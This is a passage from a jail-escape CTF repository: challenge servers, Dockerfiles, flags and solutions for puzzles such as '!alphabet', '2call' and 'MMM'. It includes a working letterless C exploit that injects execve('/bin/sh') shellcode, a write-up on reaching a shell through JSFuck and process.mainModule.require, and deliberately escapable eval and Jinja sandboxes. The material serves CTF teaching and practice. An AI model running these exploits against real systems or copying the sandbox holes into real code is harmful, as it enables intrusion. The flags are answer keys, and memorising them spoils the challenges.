├── !alphabet ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.py │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.py │ └── flag.txt └── solve │ ├── solve.c │ └── solve_expanded.c ├── .gitignore ├── 2call ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.js │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.js │ └── flag.txt └── solve │ ├── README.md │ ├── gen.py │ ├── payload.js │ └── solve.py ├── MMM ├── README.md ├── handout │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag.txt │ ├── server.py │ ├── start.sh │ └── templates │ │ └── home.html ├── remote │ ├── Dockerfile │ ├── docker-compose.yml │ ├── flag.txt │ ├── server.py │ ├── start.sh │ └── templates │ │ └── home.html └── solve │ ├── README.md │ └── solve.py ├── SUS-Calculator ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.rb │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.rb │ └── flag.txt └── solve │ └── README.md ├── befunge-breakout ├── README.md ├── handout │ ├── Dockerfile │ ├── LICENSE │ ├── README.md │ ├── flag.txt │ ├── run.sh │ └── src │ │ ├── build.sh │ │ ├── cbi │ │ ├── cbi.c │ │ ├── cbi.h │ │ ├── cbi.o │ │ ├── delta.c │ │ ├── delta.h │ │ ├── delta.o │ │ ├── stack.c │ │ ├── stack.h │ │ ├── stack.o │ │ └── test │ │ ├── calc.bf │ │ └── hw.bf ├── remote │ ├── Dockerfile │ ├── LICENSE │ ├── README.md │ ├── flag.txt │ ├── run.sh │ └── src │ │ ├── build.sh │ │ ├── cbi │ │ ├── cbi.c │ │ ├── cbi.h │ │ ├── cbi.o │ │ ├── delta.c │ │ ├── delta.h │ │ ├── delta.o │ │ ├── stack.c │ │ ├── stack.h │ │ ├── stack.o │ │ └── test │ │ ├── calc.bf │ │ └── hw.bf └── solve │ ├── README.md │ ├── ld-linux-x86-64.so.2 │ ├── libc.so.6 │ └── solve.py ├── blind-calc ├── README.md ├── remote │ ├── Dockerfile │ ├── blind.sh │ ├── flag.txt │ └── run.sh └── solve │ └── README.md ├── charredcoal ├── README.md ├── handout │ ├── Charcoal │ │ ├── .gitignore │ │ ├── .travis.yml │ │ ├── LICENSE │ │ ├── README.md │ │ ├── TODO.md │ │ ├── __init__.py │ │ ├── ansiterm.py │ │ ├── appveyor.yml │ │ ├── astprocessor.py │ │ ├── charactertransformers.py │ │ ├── charcoal │ │ ├── charcoal.py │ │ ├── charcoaltoken.py │ │ ├── codepage.py │ │ ├── compression.py │ │ ├── direction.py │ │ ├── directiondictionaries.py │ │ ├── extras.py │ │ ├── extras │ │ │ └── chc │ │ ├── highlighters │ │ │ └── Charcoal.sublime-syntax │ │ ├── interpreterprocessor.py │ │ ├── requirements.txt │ │ ├── stringifierprocessor.py │ │ ├── test │ │ ├── test.py │ │ ├── tox.ini │ │ ├── tutor │ │ ├── tutor.py │ │ ├── unicodegrammars.py │ │ ├── verbosegrammars.py │ │ ├── verbosifierprocessor.py │ │ └── wolfram.py │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Charcoal │ │ ├── .gitignore │ │ ├── .travis.yml │ │ ├── LICENSE │ │ ├── README.md │ │ ├── TODO.md │ │ ├── __init__.py │ │ ├── ansiterm.py │ │ ├── appveyor.yml │ │ ├── astprocessor.py │ │ ├── charactertransformers.py │ │ ├── charcoal │ │ ├── charcoal.py │ │ ├── charcoaltoken.py │ │ ├── codepage.py │ │ ├── compression.py │ │ ├── direction.py │ │ ├── directiondictionaries.py │ │ ├── extras.py │ │ ├── extras │ │ │ └── chc │ │ ├── highlighters │ │ │ └── Charcoal.sublime-syntax │ │ ├── interpreterprocessor.py │ │ ├── requirements.txt │ │ ├── stringifierprocessor.py │ │ ├── test │ │ ├── test.py │ │ ├── tox.ini │ │ ├── tutor │ │ ├── tutor.py │ │ ├── unicodegrammars.py │ │ ├── verbosegrammars.py │ │ ├── verbosifierprocessor.py │ │ └── wolfram.py │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ └── README.md ├── filterd ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.py │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.py │ └── flag.txt └── solve │ └── README.md ├── functional-programming ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ ├── brute.c │ └── payload.txt ├── get-and-call ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ ├── solve1.py │ └── solve2.py ├── impossible-maze ├── README.md └── solve │ ├── README.md │ └── images │ ├── blocked.png │ ├── io.png │ ├── partial_flag.png │ └── proc_list.png ├── jailguessr ├── README.md ├── handout │ └── image.png ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ └── README.md ├── jellyjail ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ ├── jellylanguage │ │ ├── .gitignore │ │ ├── LICENSE.txt │ │ ├── README.md │ │ ├── jelly │ │ │ ├── __init__.py │ │ │ ├── __main__.py │ │ │ ├── dictionary.py │ │ │ ├── interpreter.py │ │ │ └── utils.py │ │ ├── scripts │ │ │ └── jelly │ │ ├── setup.py │ │ └── utils │ │ │ ├── Makefile │ │ │ ├── findhash │ │ │ ├── findhash1.py │ │ │ └── findhash2.c │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ ├── jellylanguage │ │ ├── .gitignore │ │ ├── LICENSE.txt │ │ ├── README.md │ │ ├── jelly │ │ │ ├── __init__.py │ │ │ ├── __main__.py │ │ │ ├── dictionary.py │ │ │ ├── interpreter.py │ │ │ └── utils.py │ │ ├── scripts │ │ │ └── jelly │ │ ├── setup.py │ │ └── utils │ │ │ ├── Makefile │ │ │ ├── findhash │ │ │ ├── findhash1.py │ │ │ └── findhash2.c │ └── main.py └── solve │ └── README.md ├── js-without-getattr ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ ├── main.js │ └── package.json ├── remote │ ├── Dockerfile │ ├── flag.txt │ ├── main.js │ └── package.json └── solve │ └── README.md ├── last-message ├── .gitignore ├── README.md ├── handout │ ├── app │ │ ├── Dockerfile │ │ ├── account.py │ │ ├── app.py │ │ ├── index.html │ │ ├── requirements.txt │ │ └── static │ │ │ ├── default.jpg │ │ │ ├── index.css │ │ │ ├── index.py │ │ │ └── pyscript.json │ ├── bot │ │ ├── Dockerfile │ │ ├── bot.js │ │ ├── flag.txt │ │ └── run.sh │ └── docker-compose.yml ├── remote │ ├── app │ │ ├── Dockerfile │ │ ├── account.py │ │ ├── app.py │ │ ├── index.html │ │ ├── requirements.txt │ │ └── static │ │ │ ├── default.jpg │ │ │ ├── index.css │ │ │ ├── index.py │ │ │ └── pyscript.json │ ├── bot │ │ ├── Dockerfile │ │ ├── bot.js │ │ ├── flag.txt │ │ └── run.sh │ └── docker-compose.yml └── solve │ ├── exploit.py │ └── solve.html ├── lost-in-transit ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ └── solve.py ├── mathjail ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.py │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.py │ └── flag.txt └── solve │ ├── README.md │ └── solve.py ├── minieval-1 ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── jail.pl ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── jail.pl └── solve │ ├── README.md │ └── solve.txt ├── no-nonsense ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── payload.txt │ └── solve.py ├── parity-1 ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ └── README.md ├── parity-2 ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ └── README.md ├── parseltongue ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.py │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.py │ └── flag.txt └── solve │ ├── README.md │ ├── gen-solve.py │ └── real-solve.py ├── pickled-magic ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ └── solve.py ├── polyglo7quine ├── README.md ├── handout │ └── handout.py ├── remote │ ├── Dockerfile │ └── chal.cr └── solve │ └── README.md ├── respy-evil-challenge ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── respy-nice-challenge ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── ruby-on-jails ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.rb │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.rb │ └── flag.txt └── solve │ └── README.md ├── smiley-faiss ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ ├── main.py │ └── safernumpy │ │ ├── __init__.py │ │ └── core │ │ ├── __init__.py │ │ └── multiarray │ │ └── __init__.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ ├── main.py │ └── safernumpy │ │ ├── __init__.py │ │ └── core │ │ ├── __init__.py │ │ └── multiarray │ │ └── __init__.py └── solve │ └── README.md ├── stupid-crypto-chall ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ ├── payload.txt │ └── solve.py ├── substitute-teacher ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ └── solve.py ├── tiniest ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.pl │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.pl │ └── flag.txt └── solve │ ├── README.md │ └── payload.pl ├── void ├── README.md ├── handout │ ├── docker │ │ ├── Dockerfile.local.prebuilt │ │ ├── Dockerfile.prebuilt │ │ ├── entry.py │ │ ├── hook.sh │ │ └── local_entry.py │ ├── embedder.c │ ├── embedder.docker │ └── flag └── remote │ ├── Makefile │ ├── docker │ ├── Dockerfile │ ├── Dockerfile.local │ ├── Dockerfile.local.prebuilt │ ├── Dockerfile.prebuilt │ ├── entry.py │ ├── hook.sh │ └── local_entry.py │ ├── embedder.c │ ├── embedder.docker │ └── flag ├── what-flag ├── README.md ├── handout │ ├── Dockerfile │ ├── flag.txt │ └── main.py ├── remote │ ├── Dockerfile │ ├── flag.txt │ └── main.py └── solve │ ├── README.md │ ├── solve-remote.py │ └── solve.py ├── what-numbers ├── README.md ├── handout │ ├── Dockerfile │ ├── chal.py │ └── flag.txt ├── remote │ ├── Dockerfile │ ├── chal.py │ └── flag.txt └── solve │ ├── README.md │ ├── best │ ├── 1099.txt │ ├── 123456789.txt │ ├── 1337.txt │ ├── 13371337.txt │ ├── 14600926.txt │ ├── 1784768876.txt │ ├── 2396745.txt │ ├── 322376503.txt │ ├── 3735928559.txt │ ├── 420.txt │ ├── 4886718345.txt │ ├── 48879.txt │ ├── 51966.txt │ ├── 57005.txt │ └── 69.txt │ ├── createnums.py │ ├── dunders.txt │ ├── gen-final.py │ ├── payload.txt │ └── searchattrs.py └── x86fuck ├── README.md ├── handout ├── Dockerfile ├── chal.py └── flag.txt ├── remote ├── Dockerfile ├── chal.py └── flag.txt └── solve ├── README.md └── solve.py /!alphabet/README.md: -------------------------------------------------------------------------------- 1 | # !alphabet 2 | 3 | category: mainstream/c 4 | 5 | ## description 6 | 7 | lets see what the C compiler lets you get away with 8 | -------------------------------------------------------------------------------- /!alphabet/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12.3-bookworm as app 2 | 3 | COPY --chmod=644 flag.txt /flag.txt 4 | RUN mv /flag.txt "/flag-$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 24 | head -n 1).txt" 5 | 6 | FROM pwn.red/jail 7 | COPY --from=app / /srv 8 | COPY --chmod=755 chal.py /srv/app/run 9 | 10 | ENV JAIL_MEM=20M JAIL_TMP_SIZE=10M JAIL_TIME=40 -------------------------------------------------------------------------------- /!alphabet/handout/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 -u 2 | import os 3 | import subprocess 4 | import tempfile 5 | import re 6 | 7 | print("Input your code (1 line)") 8 | code = input("> ") 9 | 10 | if re.search(r'[A-Za-z]', code): 11 | print("No letters allowed") 12 | exit(1) 13 | 14 | with tempfile.TemporaryDirectory() as td: 15 | src_path = os.path.join(td, "source.c") 16 | compiled_path = os.path.join(td, "compiled") 17 | with open(src_path, "w") as file: 18 | file.write(code) 19 | 20 | # Entry point is _ *NOT* main. Keep that in mind 21 | # as the chal is literally impossible without this 22 | returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 23 | 24 | if returncode != 0: 25 | print("Oops, there were some compilation errors!") 26 | exit(1) 27 | 28 | print("Good luck!") 29 | subprocess.call([compiled_path]) -------------------------------------------------------------------------------- /!alphabet/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_in_root_dir_on_remote} 2 | -------------------------------------------------------------------------------- /!alphabet/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12.3-bookworm as app 2 | 3 | COPY --chmod=644 flag.txt /flag.txt 4 | RUN mv /flag.txt "/flag-$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 24 | head -n 1).txt" 5 | 6 | FROM pwn.red/jail 7 | COPY --from=app / /srv 8 | COPY --chmod=755 chal.py /srv/app/run 9 | 10 | ENV JAIL_MEM=20M JAIL_POW=2500 JAIL_TMP_SIZE=10M JAIL_TIME=40 11 | -------------------------------------------------------------------------------- /!alphabet/remote/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 -u 2 | import os 3 | import subprocess 4 | import tempfile 5 | import re 6 | 7 | print("Input your code (1 line)") 8 | code = input("> ") 9 | 10 | if re.search(r'[A-Za-z]', code): 11 | print("No letters allowed") 12 | exit(1) 13 | 14 | with tempfile.TemporaryDirectory() as td: 15 | src_path = os.path.join(td, "source.c") 16 | compiled_path = os.path.join(td, "compiled") 17 | with open(src_path, "w") as file: 18 | file.write(code) 19 | 20 | # Entry point is _ *NOT* main. Keep that in mind 21 | # as the chal is literally impossible without this 22 | returncode = subprocess.call(["gcc", "-B/usr/bin", "-Wl,--entry=_", "-nostartfiles", "-w", "-O0", "-o", compiled_path, src_path], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) 23 | 24 | if returncode != 0: 25 | print("Oops, there were some compilation errors!") 26 | exit(1) 27 | 28 | print("Good luck!") 29 | subprocess.call([compiled_path]) -------------------------------------------------------------------------------- /!alphabet/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{writing_C_just_the_way_it_was_meant_to_be} -------------------------------------------------------------------------------- /!alphabet/solve/solve.c: -------------------------------------------------------------------------------- 1 | _1=1852400175;_2=6845231;_0_0(_, __){};_0_1(_){*(&_+3)+=2;};_0_2(_){};_(){_0_0(0,&_1);_0_1(0);_0_2(1147076160420667222);_0_2(5565509137969);} -------------------------------------------------------------------------------- /!alphabet/solve/solve_expanded.c: -------------------------------------------------------------------------------- 1 | // Even though they're technically just 2 ints, 2 | // they get placed next to each other letting us write arbitrary strings 3 | _1 = 1852400175; // /bin 4 | _2 = 6845231; // /sh 5 | 6 | // empty func that allows us to write data to rsi (2nd arg) 7 | _0_0(_, __) {} 8 | 9 | // function that increments return address by 2, letting us return to our shellcode 10 | _0_1(_) { 11 | *(&_+3)+=2; 12 | } 13 | 14 | _0_2(_) {} 15 | 16 | _() { 17 | _0_0(0,&_1); // put /bin/sh in rsi 18 | _0_1(0); // incrememnt return value by 2, so it jumps into our shellcode (the func args in the next 2 funcs) 19 | 20 | // our syscall shellcode to call execve("/bin/sh", 0, 0) 21 | // we can only encode 6 bytes because the last 2 bytes have to be a short jmp to the next part 22 | // that's why I did it twice 23 | _0_2(1147076160420667222); 24 | _0_2(5565509137969); 25 | } 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | .idea 3 | -------------------------------------------------------------------------------- /2call/README.md: -------------------------------------------------------------------------------- 1 | # 2call 2 | 3 | category: esolang/mainstream/js/jsfuck 4 | 5 | ## description 6 | 7 | 2 call 2 call eat em all 8 | -------------------------------------------------------------------------------- /2call/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.js /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt 8 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /2call/handout/chal.js: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/node 2 | const readline = require('node:readline'); 3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout}); 4 | 5 | console.log("2call 2call."); 6 | rl.question('code > ', (answer) => { 7 | let parenCount = 0; 8 | for (let c of answer) { 9 | if ("()".includes(c)) { 10 | if (++parenCount > 2) { 11 | console.log("too many"); 12 | rl.close(); 13 | return; 14 | } 15 | continue; 16 | } 17 | if (!"![]+".includes(c)) { 18 | console.log("no not that"); 19 | rl.close(); 20 | return; 21 | } 22 | } 23 | 24 | eval(answer)(); 25 | console.log('the code ran'); 26 | rl.close(); 27 | }); 28 | -------------------------------------------------------------------------------- /2call/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_in_root_dir_on_remote} 2 | -------------------------------------------------------------------------------- /2call/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.js /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | RUN mv /srv/app/flag.txt /srv/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt 8 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /2call/remote/chal.js: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/node 2 | const readline = require('node:readline'); 3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout}); 4 | 5 | console.log("2call 2call."); 6 | rl.question('code > ', (answer) => { 7 | let parenCount = 0; 8 | for (let c of answer) { 9 | if ("()".includes(c)) { 10 | if (++parenCount > 2) { 11 | console.log("too many"); 12 | rl.close(); 13 | return; 14 | } 15 | continue; 16 | } 17 | if (!"![]+".includes(c)) { 18 | console.log("no not that"); 19 | rl.close(); 20 | return; 21 | } 22 | } 23 | 24 | eval(answer)(); 25 | console.log('the code ran'); 26 | rl.close(); 27 | }); 28 | -------------------------------------------------------------------------------- /2call/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{btoa_hard_carry_fr_1cf0ea60f5} 2 | -------------------------------------------------------------------------------- /2call/solve/README.md: -------------------------------------------------------------------------------- 1 | # 2call 2 | 3 | solve idea is as below 4 | 5 | first thing to know is jsfuck 6 | 7 | second thing to know is that we can still get arb order of ops using `[expr][+[]]` as equiv to `(expr)` 8 | 9 | so with these two, we can determine that the only way to solve this is by making `[]["flat"]["constructor"](str)` which is equal to Function(str) 10 | 11 | third thing to know is that we can get the letters for eval and also the strings `btoa`, `atob`, and `console`, and also `(` and `)`. 12 | those functions are built in to node js, so we can just construct an arbitrary string and eval it inside of the other eval 13 | 14 | last thing to know is that even though require is undefined for whatever reason, we can use process.mainModule which has the hidden attribute `require`. then, we just spawn a shell and win 15 | 16 | -------------------------------------------------------------------------------- /2call/solve/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from os import system 3 | 4 | p = remote("localhost", 5000) 5 | 6 | p.recvline() 7 | system(p.recvline()) 8 | r = input('copy paste pow sol from above > ')[:-1].encode() 9 | p.sendline(r) 10 | 11 | p.sendline(open('payload.js', 'rb').read()) 12 | 13 | p.interactive() 14 | 15 | -------------------------------------------------------------------------------- /MMM/README.md: -------------------------------------------------------------------------------- 1 | # MMM 2 | 3 | category: pyjail/web 4 | 5 | ## description 6 | 7 | I wrote a Flask app that allows you to execute your Jinja templates on the fly. Oh, and I included some math functions to test out. Surely it's completely safe, right...? 8 | 9 | [challs2.pyjail.club:7305](https://challs2.pyjail.club:7305) 10 | 11 | -------------------------------------------------------------------------------- /MMM/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | RUN pip install --no-cache-dir flask_limiter flask 4 | 5 | RUN useradd ctf 6 | COPY ./server.py /home/ctf/server.py 7 | COPY ./flag.txt /home/ctf/flag.txt 8 | COPY ./templates/ /home/ctf/templates/ 9 | USER ctf 10 | WORKDIR /home/ctf 11 | RUN export "KEY=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 64)" 12 | 13 | CMD ["/usr/local/bin/python3", "server.py"] 14 | #ENTRYPOINT ["/bin/sh"] 15 | -------------------------------------------------------------------------------- /MMM/handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | python: 4 | build: . 5 | ports: 6 | - 5000:5000 7 | restart: always 8 | command: /usr/local/bin/python3 /home/ctf/server.py 9 | working_dir: /home/ctf 10 | user: ctf 11 | environment: 12 | - KEY=${GENERATED_KEY} 13 | 14 | -------------------------------------------------------------------------------- /MMM/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /MMM/handout/server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request 2 | from flask_limiter import Limiter 3 | from flask_limiter.util import get_remote_address 4 | from jinja2.sandbox import SandboxedEnvironment 5 | import os 6 | import secrets 7 | 8 | app = Flask(__name__) 9 | 10 | limiter = Limiter( 11 | get_remote_address, 12 | app=app, 13 | default_limits=["5 per second", "3600 per hour"], 14 | storage_uri="memory://", 15 | ) 16 | env = SandboxedEnvironment() 17 | 18 | def mean(lst): 19 | return sum(lst) / len(lst) 20 | 21 | def median(lst, high=True): 22 | lst.sort(key=lambda x: x if high else -x) 23 | return lst[len(lst)//2] 24 | 25 | def mode(lst): 26 | return max(lst, key=lst.count) 27 | 28 | env.filters['mean'] = mean 29 | env.filters['median'] = median 30 | env.filters['mode'] = mode 31 | 32 | @app.route('/') 33 | def home(): 34 | return render_template('home.html') 35 | 36 | @app.route('/run', methods=['POST']) 37 | def run(): 38 | try: 39 | return env.from_string(request.form['template']).render() 40 | except Exception as e: 41 | return f'An error occurred! ({e.__class__.__name__})' 42 | 43 | @app.route('/flag', methods=['POST']) 44 | def flag(): 45 | if secrets.compare_digest(request.form['key'], os.environ['KEY']): 46 | with open('flag.txt', 'r') as f: 47 | return f.read() 48 | else: 49 | return 'Invalid key' 50 | 51 | 52 | if __name__ == '__main__': 53 | app.run(host='0.0.0.0', port=5000) 54 | 55 | -------------------------------------------------------------------------------- /MMM/handout/start.sh: -------------------------------------------------------------------------------- 1 | export GENERATED_KEY=$(echo 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef | fold -w1 | shuf | tr -d '\n') 2 | docker-compose build 3 | docker-compose up 4 | -------------------------------------------------------------------------------- /MMM/handout/templates/home.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | MMM 7 | 8 | 9 |

Welcome to my Jinja sandbox!

10 |
11 | 12 |
13 | 14 |
15 | 16 | -------------------------------------------------------------------------------- /MMM/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | RUN pip install --no-cache-dir flask_limiter flask 4 | 5 | RUN useradd ctf 6 | COPY ./server.py /home/ctf/server.py 7 | COPY ./flag.txt /home/ctf/flag.txt 8 | COPY ./templates/ /home/ctf/templates/ 9 | USER ctf 10 | WORKDIR /home/ctf 11 | RUN export "KEY=$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 64)" 12 | 13 | CMD ["/usr/local/bin/python3", "server.py"] 14 | #ENTRYPOINT ["/bin/sh"] 15 | -------------------------------------------------------------------------------- /MMM/remote/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | python: 4 | build: . 5 | ports: 6 | - 5000:5000 7 | restart: always 8 | command: /usr/local/bin/python3 /home/ctf/server.py 9 | working_dir: /home/ctf 10 | user: ctf 11 | environment: 12 | - KEY=${GENERATED_KEY} 13 | 14 | -------------------------------------------------------------------------------- /MMM/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{s4ndb0x3d_j1nja_1s_n0t_s4f3_aga1n5t_cu5t0m_f1lt3r5} 2 | -------------------------------------------------------------------------------- /MMM/remote/server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request 2 | from flask_limiter import Limiter 3 | from flask_limiter.util import get_remote_address 4 | from jinja2.sandbox import SandboxedEnvironment 5 | import os 6 | import secrets 7 | 8 | app = Flask(__name__) 9 | 10 | limiter = Limiter( 11 | get_remote_address, 12 | app=app, 13 | default_limits=["5 per second", "3600 per hour"], 14 | storage_uri="memory://", 15 | ) 16 | env = SandboxedEnvironment() 17 | 18 | def mean(lst): 19 | return sum(lst) / len(lst) 20 | 21 | def median(lst, high=True): 22 | lst.sort(key=lambda x: x if high else -x) 23 | return lst[len(lst)//2] 24 | 25 | def mode(lst): 26 | return max(lst, key=lst.count) 27 | 28 | env.filters['mean'] = mean 29 | env.filters['median'] = median 30 | env.filters['mode'] = mode 31 | 32 | @app.route('/') 33 | def home(): 34 | return render_template('home.html') 35 | 36 | @app.route('/run', methods=['POST']) 37 | def run(): 38 | try: 39 | return env.from_string(request.form['template']).render() 40 | except Exception as e: 41 | return f'An error occurred! ({e.__class__.__name__})' 42 | 43 | @app.route('/flag', methods=['POST']) 44 | def flag(): 45 | if secrets.compare_digest(request.form['key'], os.environ['KEY']): 46 | with open('flag.txt', 'r') as f: 47 | return f.read() 48 | else: 49 | return 'Invalid key' 50 | 51 | 52 | if __name__ == '__main__': 53 | app.run(host='0.0.0.0', port=5000) 54 | 55 | -------------------------------------------------------------------------------- /MMM/remote/start.sh: -------------------------------------------------------------------------------- 1 | export GENERATED_KEY=$(echo 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef | fold -w1 | shuf | tr -d '\n') 2 | docker-compose build 3 | docker-compose up 4 | -------------------------------------------------------------------------------- /MMM/remote/templates/home.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | MMM 7 | 8 | 9 |

Welcome to my Jinja sandbox!

10 |
11 | 12 |
13 | 14 |
15 | 16 | -------------------------------------------------------------------------------- /SUS-Calculator/README.md: -------------------------------------------------------------------------------- 1 | # SUS Calculator 2 | 3 | category: mainstream/introductory/ruby 4 | 5 | ## description 6 | 7 | no eval == safe 8 | 9 | -------------------------------------------------------------------------------- /SUS-Calculator/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ruby:latest AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.rb /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=10M JAIL_ENV_NUM=5 JAIL_TIME=50 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /SUS-Calculator/handout/chal.rb: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/ruby 2 | class Calc 3 | def self.+ left, right 4 | left = left.to_i if left.is_a? String 5 | right = right.to_i if right.is_a? String 6 | 7 | return left + right 8 | end 9 | 10 | def self.- left, right 11 | left = left.to_i if left.is_a? String 12 | right = right.to_i if right.is_a? String 13 | 14 | return left - right 15 | end 16 | 17 | def self.* left, right 18 | left = left.to_i if left.is_a? String 19 | right = right.to_i if right.is_a? String 20 | 21 | return left * right 22 | end 23 | 24 | def self./ left, right 25 | left = left.to_i if left.is_a? String 26 | right = right.to_i if right.is_a? String 27 | 28 | return left / right 29 | end 30 | 31 | def self.% left, right 32 | left = left.to_i if left.is_a? String 33 | right = right.to_i if right.is_a? String 34 | 35 | return left % right 36 | end 37 | end 38 | 39 | STDOUT.sync = true 40 | puts <<~HEADER 41 | SUS Calculator (Super Ultra Safe Calculator) 42 | I heard using eval for these calculator apps is bad, so I made sure to avoid it 43 | Good luck doing anything malicious here >:) 44 | 45 | HEADER 46 | 47 | loop do 48 | print "> " 49 